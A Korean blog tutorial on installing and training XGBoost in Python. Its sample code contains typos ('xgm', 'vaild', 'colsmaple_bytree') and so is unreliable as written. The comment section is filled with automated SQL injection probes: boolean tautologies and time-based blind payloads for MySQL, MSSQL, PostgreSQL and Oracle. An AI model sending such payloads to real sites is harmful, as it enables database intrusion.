Python
XGBoost 사용하는 법
Dec. 8, 2022, 5:27 p.m.
LightGBM과 함께 머신러닝에서 현재 가장 많이 사용되고 있는 알고리즘은 XGBoost이다.
.
기존의 Gradient Boosting 방식에 CART 방식을 사용하였고, 병렬 처리와 GPU 지원을 통해 빠른 처리가 가능한 것이 특징입니다. 그래서 Kaggle에서 많이 사용되고 있습니다.
.
거두절미하고, XGBoost를 Python에서 사용하는 법을 간단하게 알아보자.
1. 설치
pip install xgboost
pip를 이용해서 설치하면 간단하게 완료된다. 그러나 설치가 되지 않는 경우도 있는데 이럴 때는 에 들어가서 .whl 파일을 다운받아 직접 설치하면 된다.
.
2. 데이터셋 만들기
xgboost도 lightgbm 과 마찬가지로 전용 데이터셋 클래스가 있다. xgb.DMatrix()로 만들 수 있다.
이미 사이킷런 용 데이터 셋을 (X_train, X_valid, y_train, y_valid)로 구축해 놓았다고 가정한다.
import xgboost as xgb
train = xgb.DMatrix(X_train, y_train)
valid = xgb.DMatrix(X_valid, y_valid)
위와 같이 만들어 주면 된다.
3. 학습 진행하기
xgb.train()으로 학습을 바로 진행할 수 있으며 학습이 완료되면 학습된 모델을 반환한다.
params = {'max_depth' : 50,
'subsample': 0.6,
'colsmaple_bytree': 0.7,
'min_child_weight': 6,
'gamma': 8,
'reg_lambda': 1.25,
}
model = xgm.train(params=params, dtrain=train, num_boost_round=2000, evals=[(valid, 'valid')], maximize=True)
best_iter = model.best_iteration # 최적 반복 횟수
파라미터 딕셔너리를 먼저 만들고 그 다음에 그 파라미터를 넣어 학습을 진행한다.
4. 예측하기
predict()로 예측을 진행한다.
preds = model.predict(vaild, iteration_range=(0, best_iter))
중요한 점은 학습시 얻은 최적 반복 횟수를 명시해주어야 한다는 점이다.
xgboost 홈페이지에 가보면 굉장히 많은 하이퍼 파라미터들을 설명해 준다. 튜닝을 잘 해서 사용한다면 좋은 성능을 보일 수 있을 것이다.
xgboost
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1 OR 2+779-779-1=0+0+0+1 --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1 OR 2+19-19-1=0+0+0+1
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1' OR 2+385-385-1=0+0+0+1 --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1' OR 2+822-822-1=0+0+0+1 or 'gS6yZHTu'='
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1" OR 2+603-603-1=0+0+0+1 --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555*if(now()=sysdate(),sleep(15),0)
Jan. 22, 2025, 7:51 a.m.
pHqghUme
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
Jan. 22, 2025, 7:51 a.m.
pHqghUme
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
Jan. 22, 2025, 7:51 a.m.
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1; waitfor delay '0:0:15' --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1); waitfor delay '0:0:15' --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1 waitfor delay '0:0:15' --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555RjeYUi5Z'; waitfor delay '0:0:15' --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1 OR 53=(SELECT 53 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1)) OR 820=(SELECT 820 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555IyKsDd42' OR 272=(SELECT 272 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555BMOGn8LG') OR 580=(SELECT 580 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555OnOazWAo')) OR 749=(SELECT 749 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555'"
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555����%2527%2522\'\"
Jan. 22, 2025, 7:51 a.m.
pHqghUme
@@FuLBy
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.